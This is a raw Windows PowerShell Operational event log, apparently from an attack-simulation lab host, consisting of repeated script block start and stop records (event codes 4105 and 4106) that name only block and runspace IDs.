LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031927
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031925
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031924
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031907
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031901
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
